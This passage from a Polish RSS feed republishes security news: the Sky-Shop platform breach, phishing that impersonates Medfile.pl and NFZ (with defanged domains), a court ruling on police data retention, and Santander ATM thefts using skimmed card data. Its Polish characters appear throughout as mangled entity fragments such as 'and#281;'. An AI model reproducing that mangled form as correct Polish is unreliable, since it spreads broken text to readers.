Dlatego kluczowe wydaje siand#281; samodzielne ustalenie, czy kiedykolwiek skorzystaliand#347;cie ze sklepu, ktand#243;ry byand#322;and#160;hostowany na zhakowanej platformie sky-shop.pl? Jak to zrobiand#263;? Czand#281;and#347;and#263; sklepand#243;w w stopce ma taki napis:

I te sklepy moand#380;na namierzyand#263; przezand#160;przeszukanie Google:

Ale niestety na wielu sklepach nigdzie nie znajdziecie wzmianki, and#380;e korzystajand#261;and#160;ze zhackowanej platformy sky-shop.pl.and#160;Takie sklepy moand#380;na prand#243;bowaand#263; namierzyand#263; za pomocand#261; zaawansowanych wyszukiwarek przeszukujand#261;cych tagi HTML:

Nie wiedziaand#322;eand#347; and#380;e tak siand#281; da? Da siand#281; o wiele wiand#281;cej, bo narzand#281;dzi i technik pozyskiwania informacji na temat osand#243;b i firm jest multum. Pokazujemy je wszystkie na naszych silnie praktycznych szkoleniach z OSINT-u, ktand#243;re przydadzand#261;and#160;siand#281;and#160;kaand#380;demu, niezaleand#380;nie od tego jakand#261; pracand#281; wykonuje zawodowo. Regularnie odwiedzajand#261; nas prawnicy, programiand#347;ci, rekruterzy, finansiand#347;ci, eksperci do zwalczania naduand#380;yand#263; i kaand#380;dy, kto czasem musi pozyskaand#263; dane z internetu i chce to zrobiand#263;and#160;sprawniej i lepiej niand#380; konkurencja.and#160;Tutaj znajdziesz najbliand#380;sze terminy, zarand#243;wno te online jak i realizowane w najwiand#281;kszych polskich miastach.
Pozostaje wiand#281;c mieand#263; nadziejand#281;, and#380;e Sky Shop udostand#281;pni jakieand#347; narzand#281;dzie, dziand#281;ki ktand#243;remu band#281;dziecie mogli sprawdziand#263;, czy jesteand#347;cie w grupie osand#243;b, ktand#243;rych dane zostaand#322;y wykradzione.
Jakie dane wykradziono?
Jak informuje sky-shop, takie dane osand#243;b robiand#261;cych zakupy zostaand#322;y wykradzione:

imiona i nazwiska,
adresy e-mail,
adresy korespondencyjne,
numery telefonand#243;w
hashe haseand#322; (SHA512 z soland#261; per user)

Dodatkowo, w przypadku wand#322;aand#347;cicieli sklepand#243;w wykradziono teand#380; dane do wystawienia faktury oraz nazwand#281; samego sklepu. Co jednak istotne:

Wedand#322;ug naszych ustaleand#324; w przypadku klientand#243;w sklepand#243;w internetowych incydent objand#261;and#322; wyand#322;and#261;cznie osoby, ktand#243;re zaand#322;oand#380;yand#322;y konto w tych sklepach. Nie doszand#322;o do wykradzenia danych osobowych klientand#243;w, ktand#243;rzy korzystali z opcji zakupand#243;w bez zakand#322;adania konta w sklepie.

W oand#347;wiadczeniu przesand#322;anym do naszej redakcji, Sky-Shop poinformowaand#322; rand#243;wnieand#380;, and#380;e:

Stosowany przez nas mechanizm hashowania haseand#322; istotnie utrudnia ich odtworzenie, niemniej and#8211; tak jak kaand#380;dy mechanizm hashowania and#8211; nie gwarantuje 100% skutecznoand#347;ci. Dlatego teand#380; wszystkim osobom korzystajand#261;cym z naszej Platformy rekomendujemy zmianand#281; haseand#322; uand#380;ywanych w sklepach internetowych.

Niestety, wygland#261;da na to, and#380;e platforma nie moand#380;e wymusiand#263; resetu haseand#322; dla uand#380;ytkownikand#243;w.
Kiedy doszand#322;o do ataku i co byand#322;o jego przyczynand#261;?
Platforma sklepowa przedstawia nastand#281;pujand#261;cand#261; chronologiand#281; zdarzeand#324;:

19.10.2025 and#8211; uzyskanie pierwszego dostand#281;pu i rozpoczand#281;cie przygotowaand#324; do pobierania danych przez przestand#281;pcand#281;.
28.10.2025 and#8211; wykrycie anomalii podczas rutynowego monitoringu ruchu sieciowego poprzez system monitoringu, ktand#243;ry and#8220;zarejestrowaand#322; niestandardowe and#380;and#261;dania w obrand#281;bie naszych serwerand#243;wand#8221; .
29.10.2025 and#8211; ustalenie prawdopodobnego wektora ataku i jego trwaand#322;e zablokowanie a nastand#281;pnie finalne potwierdzenie wektora ataku i jego skutecznej blokady oraz potwierdzenie zakresu sklepand#243;w i danych objand#281;tych incydentem.

Sky-shop informuje teand#380;, and#380;e przyczynand#261; ataku byand#322; and#8220;maand#322;o znany typ podatnoand#347;ci w jednym z komponentand#243;w systemuand#8220;. Z informacji, ktand#243;rand#261; Sky-Shop rozsyand#322;aand#322;o dziand#347;and#160;do wand#322;aand#347;cicieli sklepand#243;w wynika, and#380;e atak przeprowadzono na komponent webaplikacyjny platformy. Sky-shop zapewniand#322;o nas, and#380;e band#322;and#261;d nie dotyczyand#322;and#160;podatnoand#347;ci, na ktand#243;rand#261; w czasie ataku dostand#281;pna byand#322;a juand#380;and#160;poprawka. Czyli wina leand#380;y po stronie autorskiego kodu lub konfiguracji.
Byand#322;em klientem sklepu korzystajand#261;cego ze Sky-Shop and#8212; co robiand#263;, jak and#380;yand#263;?
Jeand#347;li sami ustalicie, and#380;e kupowaliand#347;cie w jednym 9000 sklepand#243;w, ktand#243;re korzystajand#261; ze zhackowanej platformy Sky-Shop and#8212; lub zostaniecie o tym powiadomieni przez administratora danego sklepu and#8212; to sugerujemy abyand#347;cie:

Zmienili hasand#322;o do danego sklepu i kaand#380;dego miejsca, gdzie jest ono takie samo. A na przyszand#322;oand#347;and#263;, zacznijcie korzystaand#263;and#160;z managera haseand#322; i nigdy wiand#281;cej nie uand#380;ywajcie jednego hasand#322;a do wiand#281;cej niand#380; jednego miejsca
Choand#263; w tym wycieku nie doszand#322;o do ujawnienia PESEL-i, to jeand#347;li obawiacie siand#281; atakand#243;w ukierunkowanych, zastrzeand#380;cie sobie PESEL. Na podstawie tego wycieku band#281;dzie moand#380;na powiand#261;zaand#263; z Waszym imieniem i nazwiskiem Wasz numer telefonu. Ktoand#347; moand#380;e po jego poznaniu chcieand#263; wyrobiand#263; duplikat karty SIM aby w ten sposand#243;b przejand#261;and#263;and#160;inne Wasze dostand#281;py. Zastrzeand#380;enie PESEL-u to uniemoand#380;liwi.
Standardowo: uwaand#380;ajcie na prand#243;by kontaktu, w ktand#243;rych przestand#281;pcy mogand#261;and#160;cytowaand#263; wykradzione dane aby siand#281; uwierzytelniand#263; i podszyand#263;and#160;pod administratora sklepu w celu pozyskania dodatkowych informacji, ktand#243;re Was dotyczand#261;

A na przyszand#322;oand#347;and#263; radzimy:

Robiand#263; zakupy jako goand#347;and#263; (jak widaand#263;, czasem te dane trafiajand#261; w inne miejsca w bazie i wand#322;amywacza mogand#261; do nich nie dotrzeand#263;)
Podawaand#263; minimalny zestaw danych konieczny do zand#322;oand#380;enia zamand#243;wienia, a jako obowiand#261;zkowe dane and#8212; jeand#347;li etyka Wam na to pozwala and#8212; wpisywaand#263; w formie niezwiand#261;zanej z Wami, aby utrudniand#263; korelacjand#281; po ew. wycieku. Bo wyciek prand#281;dzej czy pand#243;and#378;niej siand#281;and#160;zdarzy. Czyli and#8212; podajemy rand#243;and#380;ne imiona i nazwiska,and#160;rand#243;and#380;ne adresy e-mail (korzystajand#261;c z tzw. aliasand#243;w), rand#243;and#380;ne lub niepoprawne numery telefonand#243;w, kand#322;amiemy z adresem zamieszkania, zwand#322;aszcza jeand#347;li paczkand#281;and#160;odbieramy w Paczkomacie (do odbioru przesyand#322;ki wystarczy wyand#322;and#261;cznie adres e-mail). Takie dziaand#322;anie nie ma oczywiand#347;cie sensu, jeand#347;li potrzebujecie faktury. Natomiast wbrew obawom, podanie innych danych nie blokuje prawa do zwrotu i reklamacji, jeand#347;li band#281;dziecie dysponowaand#263; dowodem zakupu.

Sprawdand#378; czy Twoje dane juand#380; wyciekand#322;y

A jeand#347;li chcielibyand#347;cieand#160;sprawdziand#263; juand#380;and#160;teraz, czy Wasze dane juand#380;and#160;wyciekand#322;y i krand#261;and#380;and#261;and#160;po internecie, to zapraszamy do obejrzenia naszego krand#243;tkiegoand#160;video-poradnika and#8220;czy moje dane wyciekand#322;yand#8221;, ktand#243;ry pokazuje jak to zrobiand#263;. Z tego materiaand#322;u dowiecie siand#281; nie tylko jak przygotowaand#263; siand#281; na wyciek zanim on nastand#261;pi, aleand#160;teand#380;, co zrobiand#263; kiedy do niego dojdzie. Omawiamy w nim takand#380;e usand#322;ugi and#8220;ochrony toand#380;samoand#347;ciand#8221; czy teand#380;and#160;and#8220;wykrywania, and#380;e ktoand#347;and#160;posand#322;uguje siand#281;and#160;Twoimi danymiand#8221;, wskazujand#261;c, czy majand#261;and#160;one sens i warto za nie pand#322;aciand#263;. Do koand#324;ca dnia z tym nagraniem moand#380;na zapoznaand#263; siand#281;and#160;poand#160;obniand#380;onej o 50% cenie, jeand#347;li podacie kod and#8220;HELLand#8221; and#8212; o ile kod dziaand#322;a tylko dziand#347;, to bez obaw, dostand#281;p do nagrania macie na 30 dni wiand#281;c na pewno zdand#261;and#380;ycie siand#281;and#160;z nim zapoznaand#263;.and#160;Tu link prosto do koszyka od razu z dodanym kodem.

Dzieand#324; poand#8230;
Wczoraj wieczorem realizowaliand#347;myand#160;LIVE, ktand#243;ry byand#322; poand#347;wiand#281;cony sytuacji w ktand#243;rej wyciekajand#261; dane klientand#243;w. Mand#243;wiliand#347;my na nim jak tworzyand#263; komunikaty do klientand#243;w i dziennikarzy, naand#347;wietlaliand#347;my teand#380; pewne band#322;and#281;dy w tym, jak robiand#322;y to na przestrzeni lat rand#243;and#380;ne spand#243;and#322;ki. Nie wiemy, czy zespand#243;and#322; Sky-Shopu byand#322; na wczorajszym spotkaniu (w koand#324;cu wiele siand#281; u nich wtedy dziaand#322;o) ale przesand#322;ane do naszej redakcji oand#347;wiadczenie, wysand#322;ane o 5:48, czyli w momencie kiedy ruszyand#322;o powiadamianie administatorand#243;w sklepand#243;w o incydencie, a takand#380;e sam and#8220;wordingand#8221; tego oand#347;wiadczenia sugeruje nam, and#380;e ktoand#347;and#160;odrobiand#322; pracand#281;and#160;domowand#261;. Przynajmniej w kwestii komunikacji :-) Na wczorajszym LIVE mand#243;wiliand#347;my teand#380;and#160;o aspektach technicznych, ktand#243;rych wdroand#380;enie moand#380;e pomand#243;c w obsand#322;udze incydentu i o wielu aspektach prawo-urzand#281;dowo-formalnych, ktand#243;rych trzeba dopilnowaand#263;. Jeand#347;li ktoand#347;and#160;przegapiand#322;,and#160;zapraszamy do zobaczenia nagrania.




and#160;



and#160;

and#160;


and#160;



and#378;rand#243;dand#322;o niebezpiecznik.pland#160; 30 paand#378;dziernika 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Uwaga Lekarze! Ktoś próbuje wyłudzać hasła do dokumentacji medycznej! ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1585</link>
			<description><![CDATA[ Oszuand#347;ci podszywajand#261; siand#281; pod Medfile.pl and#8212; usand#322;ugand#281; dla gabinetand#243;w i przychodni medycznych sand#322;uand#380;and#261;cand#261; m.in. do zarzand#261;dzania dokumentacjand#261;. Tak ukierunkowany phishing moand#380;e byand#263; mniej zauwaand#380;alny, ale jego skutki mogand#261; byand#263; bardzo bolesne.
O sprawie powiadomiand#322; nas Paweand#322;, nasz Czytelnik i lekarz, ktand#243;ry na swojand#261; komand#243;rkand#281; dostaand#322; takand#261; oto wiadomoand#347;and#263;.

Na pierwszy rzut oka wygland#261;da to na wiadomoand#347;and#263; zand#160;Medfile.pland#160;and#8212; jest to oprogramowanie SaaS dla gabinetand#243;w i przychodni medycznych, ktand#243;re sand#322;uand#380;y do zarzand#261;dzania dokumentacjand#261; medycznand#261;, administracjand#261; placand#243;wki i usprawnianiem jej pracy. Umoand#380;liwia rejestrowanie wizyt, prowadzenie elektronicznej dokumentacji medycznej (EDM) iand#160;wystawianie e-recept. and#321;atwo sobie wyobraziand#263; jak niebezpieczna band#281;dzie sytuacja, w ktand#243;rej choand#263; jeden lekarz daand#322;by siand#281; nabraand#263; na faand#322;szywand#261; wiadomoand#347;and#263; wyand#322;udzajand#261;cand#261; hasand#322;a do tej platformy.
Uwaand#380;ni Czytelnicy pewnie zauwaand#380;yli, and#380;e domena we wiadomoand#347;ci powyand#380;ej to nieand#160;Medfile.pl, aleand#160;medflle[.]pl. Zapisano jand#261; celowo wielkimi literami z wyjand#261;tkiem pierwszego znaku and#8220;land#8221; aby ten znak optycznie przypominaand#322; and#8220;iand#8221;. Uand#380;yta do oszustwa domenaand#160;medflle[.]pland#160;zostaand#322;a utworzona 29 paand#378;dziernika tego roku.and#160;Otworzenie strony na komputerze pokazuje band#322;and#261;d 403, natomiast otworzenie jej w przegland#261;darce na telefonie pokazuje stronand#281; and#322;udzand#261;cand#261; podobnand#261; do Medfile.pl.

Oszukaand#324;cza strona medflle[.]pl

Prosimy!and#160;Podajcie tand#281; wiadomoand#347;and#263; dalej i ostrzeand#380;cie zwand#322;aszcza znajomych lekarzy. Mamy nadziejand#281;, and#380;e Medfile.pl rozeand#347;le ostrzeand#380;enia ze swojej strony.
Branand#380;a medyczna ma to do siebie, and#380;e problem u jego podmiotu moand#380;e uruchomiand#263; istnand#261; lawinand#281; wyciekand#243;w (por.and#160;Ukradziono dane pacjentand#243;w, w tym dokumentacje medycznand#261;. Pojawiand#322;a siand#281; na forum dla cyberprzestand#281;pcand#243;w). Jednoczeand#347;nie poniewaand#380; lekarze korzystajand#261;cy z tej platformy nie stanowiand#261; tak duand#380;ej grupy jak np. klienci bankand#243;w, ostrzeand#380;enia przed atakiem mogand#261; pojawiaand#263; siand#281; w sieci rzadziej.
and#160;
rand#243;dand#322;o niebezpiecznik.pland#160; 12 listopada 2025



and#160;







and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Uwaga na e-maile od NFZ o “zwrocie kosztów zakupu leków” ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1584</link>
			<description><![CDATA[ Otrzymujemy zgand#322;oszenia, and#380;e oszuand#347;ci podszywajand#261; siand#281;and#160;pod NFZ i wysyand#322;ajand#261; Polakom wiadomoand#347;ci o and#8220;zwrocie kosztand#243;w zakupu lekand#243;wand#8221; oraz zachand#281;cajand#261; do uzupeand#322;nienia formularza zwrotu.
Uzupeand#322;nienie formularza moand#380;e spowodowaand#263; nie zwrot, aand#160;kradzieand#380; pieniand#281;dzy z rachunku bankowego.
Jak wygland#261;da faand#322;szywa wiadomoand#347;and#263;?
Oto przykand#322;ad wiadomoand#347;ci wysyand#322;anej przez oszustand#243;w:

Wiadomoand#347;ci wysyand#322;ane sand#261; z adresuand#160;nfz@focalpointholdings.com. Jeand#347;li ofiara kliknie w link, zostanie przekierowana na wiarygodnie wygland#261;dajand#261;cand#261; stronand#281;and#160;mojnfz.leczenie-opieka[.]com, ktand#243;ra poprosi o uzupeand#322;nienie formularza danymi osobowymi i kontaktowymi, a nastand#281;pnie wyand#322;udza dane karty pand#322;atniczej.

Po czym poznaand#263;, and#380;e to oszustwo?
Choand#263; strona, na jakand#261; przekierowuje link z wiadomoand#347;ci e-mail zawiera logotyp NFZ i ma w swoim adresie powiand#261;zane z NFZ wyraand#380;enia, toand#160;nie jest to oficjalna strona NFZ. Jej domena nie koand#324;czy siand#281; naand#160;gov.pl. Dodatkowo, adres e-mail nadawcy e-mailaand#160;nie jest adresem e-mail NFZ.
Pamiand#281;taj, and#380;e rzand#261;dowe instytucje wysyand#322;ajand#261; wiadomoand#347;ci z domeny gov.pl i w tej samej domenie majand#261; swoje serwisy.
Uzupeand#322;niand#322;em formularz, co teraz?
Jeand#347;li podaand#322;eand#347; dane swojej karty pand#322;atniczej, natychmiastand#160;zablokuj jand#261; poprzez aplikacjand#281; mobilnand#261; swojego bankuand#160;i skontaktuj siand#281; z infoliniand#261; banku.
Uwaand#380;aj takand#380;e naand#160;kolejne prand#243;by kontaktuand#160;na dane, ktand#243;re podaand#322;eand#347; w formularzu (e-mail, SMS, telefon). Nie jest wykluczone, and#380;e oszuand#347;ci band#281;dand#261; prand#243;bowali siand#281; z Toband#261; kontaktowaand#263; pod rand#243;and#380;nymi pretekstami, udajand#261;c nie tylko pracownikand#243;w NFZ.

Przejrzyjand#160;listand#281; popularnych w Polsce oszustw telefonicznych.

and#160;
Ostrzeand#380; starsze/chore osoby z rodziny
Spodziewamy siand#281;, and#380;e skutecznoand#347;and#263; tej kampanii moand#380;e byand#263; najwiand#281;ksza wand#347;rand#243;d osand#243;b starszych i schorowanych, aktywnie korzystajand#261;cych z usand#322;ug NFZ. Dlatego jeand#347;li Wy nie wpisujecie siand#281; w tand#281; grupand#281;, ale macie kogoand#347; takiego w swoim otoczeniu, sugerujemy abyand#347;cie go ostrzegli przed tymi e-mailami.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pland#160; 2 listopada 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Policja nie może przechowywać danych bez wyraźnego celu – ważny wyrok NSA ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1583</link>
			<description><![CDATA[ W 2020 roku mand#322;ody mand#281;and#380;czyzna, znany jako JK, staraand#322; siand#281; o przyjand#281;cie do sand#322;uand#380;b mundurowych. Napotkaand#322; jednak problem and#8211; w Krajowym Systemie Informacyjnym Policji (KSIP) nadal widniaand#322;y informacje o postand#281;powaniu karnym toczand#261;cym siand#281; dwa lata wczeand#347;niej. JK byand#322; podejrzany o spowodowanie wypadku komunikacyjnego, ale jego sprawand#281; umorzono. Mand#281;and#380;czyzna, ktand#243;ry od tamtego czasu nie zand#322;amaand#322; prawa, zwrand#243;ciand#322; siand#281; do Komendanta Gand#322;and#243;wnego Policji o usuniand#281;cie niekorzystnych danych z KSIP iand#8230; otrzymaand#322; odmowand#281;. Postanowiand#322; zaskarand#380;yand#263; tand#281; decyzjand#281; do UODO i w ten sposand#243;b rozpoczand#261;and#322; siand#281; bardzo ciekawy, piand#281;cioletni spand#243;r o prawo do ochrony danych osobowych.
Jak dand#322;ugo Policja moand#380;e przechowywaand#263; Twoje dane?
Nie dand#322;uand#380;ej, niand#380; to potrzebne. Zgodnie z art. 31 ust. 1 ustawy o ochronie danych osobowych przetwarzanych w zwiand#261;zku z zapobieganiem i zwalczaniem przestand#281;pczoand#347;ci roland#261; administratora danych jest m.in. zapewnienie, aby dane osobowe byand#322;y przetwarzane w konkretnych i uzasadnionych celach oraz adekwatne, stosowne i nienadmierne do celand#243;w, dla ktand#243;rych sand#261; przetwarzane.
W swojej decyzji Prezes UODO tand#322;umaczy, and#380;e

ustalenie celu w jakim dane sand#261; przetwarzane ksztaand#322;tuje okres, od ktand#243;rego nie powinny byand#263; przetwarzane

W przypadku JK, umorzenie postand#281;powania przeciw niemu nastand#261;piand#322;o w listopadzie 2019 roku. Dla prezesa UODO sprawa byand#322;a jasna and#8212; dalsze przetwarzanie danych JK jest zband#281;dne. PUODO zatem nakazaand#322; ich usuniand#281;cie.
Ale Komendant Gand#322;and#243;wny Policji pozostawaand#322; przy swoim stanowisku i uzasadniaand#322;, and#380;eand#160;tylko on lub upowaand#380;nione przez niego organy majand#261; prawo weryfikowaand#263; dane osobowe zgromadzone w KSIP pod kand#261;tem przydatnoand#347;ci do realizacji zadaand#324; Policji, a Prezes UODO nie ma takiej wand#322;adzy. Zaskarand#380;yand#322; wiand#281;c decyzjand#281; najpierw do Wojewand#243;dzkiego, a nastand#281;pnie Naczelnego Sand#261;du Administracyjnego.
Wedand#322;ug Komendanta Gand#322;and#243;wnego Policji cele przetwarzania danych osobowych niezband#281;dne do realizacji ustawowych Policji and#8220;nie majand#261; charakteru przewidywalnegoand#8221; oraz and#8220;ich wykonanie nie jest obliczone na z gand#243;ry okreand#347;lony czasand#8221;.
Prezes UODO kontra Komendant Gand#322;and#243;wny Policji and#8211; kto ma racjand#281;?
Naczelny Sand#261;d Administracyjny w wyroku z 17 paand#378;dziernika 2025 roku rozwiewa wszelkie wand#261;tpliwoand#347;ci i podtrzymuje uzasadnienie wyroku WSA, w ktand#243;rym czytamy:

and#8220;Racjand#281; ma Prezes UODO, and#380;e przepisy ustawy o Policji sand#261; na tyle ogand#243;lne, and#380;e biorand#261;c tylko je pod uwagand#281; moand#380;liwym byand#322;oby zakwalifikowanie wszystkich zebranych przez Policjand#281; danych osobowych [..] jako niezband#281;dnych dla realizacji jej zadaand#324;, co umoand#380;liwia bezterminowe przechowywanie danych pomimo osiand#261;gniand#281;cia celu, w ktand#243;rym zostaand#322;y zebrane.and#8221;

Naczelny Sand#261;d Administracyjny rand#243;wnieand#380; zgadza siand#281; z Prezesem UODO, and#380;e

and#8220;W toku prowadzonego postand#281;powania Komendant Gand#322;and#243;wny Policji nie wykazaand#322; rand#243;wnieand#380;, w jaki sposand#243;b przetwarzanie danych uczestnika postand#281;powania przyczyniand#322;o siand#281; do realizacji ktand#243;regokolwiek z [ustawowych zadaand#324; Policji].and#8221;

W skrand#243;cie: dane JK powinny byand#322;y zostaand#263; usuniand#281;te na jego wniosek.
Miaand#322;em postand#281;powanie, ale chcand#281; pracowaand#263; w policji and#8212; co robiand#263;, jak and#380;yand#263;?
Wygland#261;da na to, and#380;e pojawiand#322;a siand#281;and#160;and#347;cieand#380;ka, ktand#243;ra pozwala usunand#261;and#263;and#160;and#347;lad po swoich niecnych wystand#281;pkach z policyjnych systemand#243;w (choand#263; tu podkreand#347;liand#263; naleand#380;y, and#380;e JK wcale nie musiaand#322; dopuand#347;ciand#263; siand#281;and#160;niczego niecnego, poniewaand#380; sprawa przeciwko niemu zostaand#322;a umorzona. Nie zostaand#322; o nic oskarand#380;ony, ani tym bardziej skazany). I nie, nie chodzi o ten sposand#243;b usuwania danych z policyjnych systemand#243;w:

Drogand#281; do usuwania otwiera chand#281;and#263; zatrudnienia siand#281;and#160;w policji. Pytanie, czy teraz przypadkiem kaand#380;dy, wobec kogo toczyand#322;o siand#281;and#160;postand#281;powanie i chce, aby policja przestaand#322;a to and#8220;pamiand#281;taand#263;and#8221;, nie wpadnie na pomysand#322; skorzystania z tej and#347;cieand#380;ki? W koand#324;cu chand#281;and#263; zatrudnienia siand#281;and#160;w policji moand#380;e byand#263; tylko chand#281;ciand#261;. I przeminie bardzo szybko, zaraz jak tylko rekord o niecnym wystand#281;pku zostanie usuniand#281;tyand#8230;
Abstrahujand#261;c od przypadku JK, co Wy sand#261;dzicie? Czy jak dand#322;ugo policja powinna wiedzieand#263;, and#380;e ktoand#347; mand#243;gand#322; mieand#263; kiedyand#347;and#160;coand#347; na sumieniu? I pytanie odrand#281;bne and#8212; czy spowodowanie np. wypadku drogowego w przeszand#322;oand#347;ci powinno w ogand#243;le skreand#347;laand#263; chand#281;tnych do pracy w policji? A jeand#347;li tak, to czy kradzieand#380; czegoand#347; teand#380;? Albo inne niecne wystand#281;pki? Przez ile lat? Dajcie znaand#263; w komentarzach. I logika odwrotna: a co jeand#347;li, ktoand#347; kogoand#347; celowo o coand#347;and#160;oskarand#380;y, tylko po to and#380;eby zablokowaand#263; mu karierand#281; w policji? Sprawand#281;and#160;umorzand#261; (no bo oskarand#380;enie bezpodstawne), ale policja wniosek o zatrudnienie odrzuci, bo w KSIP-ie jest and#347;lad.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pland#160; 4 listopada 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Tajemniczy incydent w banku Santander. Milionowe straty i kilkaset osób okradzionych ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1582</link>
			<description><![CDATA[ W sobotand#281; ok.and#160;500 klientand#243;wand#160;Santandera zostaand#322;o okradzionych na and#322;and#261;cznand#261;and#160;kwotand#281;and#160;ponadand#160;2 milionand#243;w zand#322;otychand#160;i to w sposand#243;b, ktand#243;ry budzi wiele pytaand#324;. Przestand#281;pcyand#160;wypand#322;acili pieniand#261;dze z rachunkand#243;w ofiar poprzez transakcje w and#8230;bankomatach. Jest to o tyle dziwne, and#380;e w przypadkach niektand#243;rych klientand#243;w, takie transakcjeand#160;nie miaand#322;y prawa siand#281;and#160;udaand#263;, bo mieli and#8220;zablokowany pasek magnetycznyand#8221;. Ale zacznijmy od poczand#261;tku.
Jesteand#347; juand#380; zapisany na nasz and#347;rodowy LIVE pt.and#160;Dane Twoich Klientand#243;w Wyciekand#322;y and#8212; Co Teraz?and#160;podczas ktand#243;rego przekaand#380;emy praktyczne porady, co musisz zrobiand#263;, kiedy ktoand#347; Ciand#281;and#160;zhackuje, aby nie pogorszyand#263; sytuacji? Band#281;dzie o tym jak informowaand#263; klientand#243;w i jak rozmawiaand#263;and#160;z UODO oraz dziennikarzami. Wiele praktycznych porad. Zapisaand#263;and#160;moand#380;esz siand#281;and#160;klikajand#261;c na ten link.
and#160;


Zand#322;odzieje uand#380;yli wielu bankomatand#243;w w rand#243;and#380;nych miastach
W sobotand#281; klienci Santandera widzand#261; powiadomienia, and#380;e ich pieniand#261;dze sand#261; wypand#322;acane w rand#243;and#380;nych bankomatach na terenie kraju. Niektand#243;rzy tracand#261;and#160;kilkaset zand#322;otych. Inni kilkadziesiand#261;t (!) tysiand#281;cy. Ofiary zgand#322;aszajand#261; siand#281;and#160;na policjand#281;, a policja przy pomocy mediand#243;w publikuje apel, aby and#8220;zmieniand#263;and#160;limity na zeroand#8221; lub tymczasowo blokowaand#263; karty.
W wypowiedziach policjantand#243;w pada teand#380; hipoteza, and#380;eand#160;powodem kradzieand#380;y jestand#160;skimming. Wedle doniesieand#324; prasowych, to samo dziennikarzom sugerujand#261; nieprzywoand#322;ani z nazwiska and#8220;bankowi eksperciand#8221;.
I tu pojawia siand#281; pierwsze pytanie:

Skoro gdzieand#347; zaand#322;oand#380;ono skimmer i sczytywano karty pand#322;atnicze, to dlaczego ofiarami sand#261; tylko klienci jednego banku?

Teoretycznie, mogand#322;o byand#263; tak, and#380;e skimmer byand#322; tylko na urzand#261;dzeniach w oddziaand#322;ach Santandera. Wtedy nie powinno nas dziwiand#263;, and#380;e zdecydowana wiand#281;kszoand#347;and#263; ofiar to klienci tego banku. Ale mogand#322;o byand#263;and#160;tak, and#380;e skimmer sczytaand#322;and#160;dane kart klientand#243;w rand#243;and#380;nych bankand#243;w, ale okraand#347;and#263;and#160;dawaand#322;o siand#281; tylko klientand#243;w Santandera (o moand#380;liwych powodach niand#380;ej).

Zielony skimmer imitujand#261;cy anti-simmerowand#261; nakand#322;adkand#281;.

Ale.
Nawet jeand#347;li skimmerem moand#380;na sklonowaand#263; pasek magnetyczny (bo moand#380;na) i moand#380;na nagraand#263; PIN wprowadzany przez klienta (za pomocand#261; kamerki lub nakand#322;adki na klawiaturand#281;), to sklonowanych w ten sposand#243;b kart w bankomatachand#160;na terenie Polskiand#160;nie powinno siand#281;and#160;udaand#263;and#160;wykorzystaand#263; do wypand#322;at z bankomatand#243;w. Bo bankomaty w Polsce od dawna wymagajand#261; trybuand#160;CHIPandPIN, czyli mand#243;wiand#261;c prosto:

Pasek magnetyczny nie pozwala na zainicjowanie wypand#322;aty and#347;rodkand#243;w w bankomatach w Polsce, polskimi kartami

A and#8212; jeand#347;li wektorem ataku faktycznie byand#322; skimming and#8212; to wygland#261;da na to, and#380;e tym razem pozwoliand#322;. I to kolejny tajemniczy aspekt tego incydentuand#8230; Czyand#380;by zand#322;odzieje byli and#347;wiadomi jakiejand#347;and#160;luki w oprogramowaniu bankomatowym? Albo band#322;and#281;du logicznego, ktand#243;ry pozwoliand#322; im dokonaand#263; wypand#322;aty na podstawie samego paska i PIN-u.
Podsumowujand#261;c:

and#160;skimming kart klientand#243;w jest moand#380;liwy i and#380;adna to filozofia
and#160;wypand#322;ata zeskimmowanand#261; kartand#261; w kraju nie jest moand#380;liwa. A siand#281; udaand#322;a.

Czyand#380;by zatem ktand#243;raand#347; z sieci bankomatowych, dla BIN-and#243;w naleand#380;and#261;cych do Santandera, z jakiegoand#347; powodu nie wymagaand#322;a uand#380;ycia chipa lub komunikacji po NFC? Moand#380;e powodem mogand#322;o byand#263; to, and#380;e ktoand#347; zapomniaand#322;,and#160;aby rozrand#243;and#380;niaand#263; klientand#243;w Santandera z Polski od klientand#243;w Santadera z innych krajand#243;w? A moand#380;e problem byand#322; po stronie banku i obsand#322;uga and#8220;wirtualnej blokady paska magnetycznego na karcieand#8221; nie dziaand#322;aand#322;a?
Przywoand#322;ajmy tu relacjand#281; jednej z ofiar weekendowych kradzieand#380;y, ktand#243;rej karta miaand#322;a mieand#263; zablokowany pasek magnetyczny:

Ta karta byand#322;a fizycznie uand#380;ywana w ciand#261;gu ostatnich kilku miesiand#281;cy tylko jeden raz (13.10.2025) i to we wpand#322;atomacie w oddziale banku Santander w Bydgoszczy przy ul. Szubiand#324;skej.

To pytania, ktand#243;re na razie pozostajand#261; bez odpowiedzi. Miejmy nadziejand#281;, and#380;e eksperci z Santandera juand#380;and#160;wszystko ustalili i lukand#281;, jakakolwiek by ona nie byand#322;a, zaand#322;atali.
 Aktualizacja (28.10.2025 15:21) Wygland#261;da na to, and#380;e nasza hipoteza o band#322;and#281;dzie na linii sieand#263; bankomatand#243;w a systemy banku byand#322;a trafna. Wand#322;aand#347;nie opublikowana wypowiedand#378; rzeczniczki Santandera dla TVN24 mand#243;wi, and#380;eand#160;and#8220;[bank] zidentyfikowaand#322; i skutecznie usunand#261;and#322; podatnoand#347;and#263; wystand#281;pujand#261;cand#261; w procesie przesyand#322;ania danych z firmy Euronet do banku (and#8230;) Umoand#380;liwiaand#322;a ona wykorzystanie skimmowanych danych z paska magnetycznego kartand#8221;. Warto tu podkreand#347;liand#263;, and#380;e z tej wypowiedzi jednoznacznie nie wynika, po ktand#243;rej stronie leand#380;y wina.
Uand#380;ywam kart pand#322;atniczych, co robiand#263;, jak and#380;yand#263;?
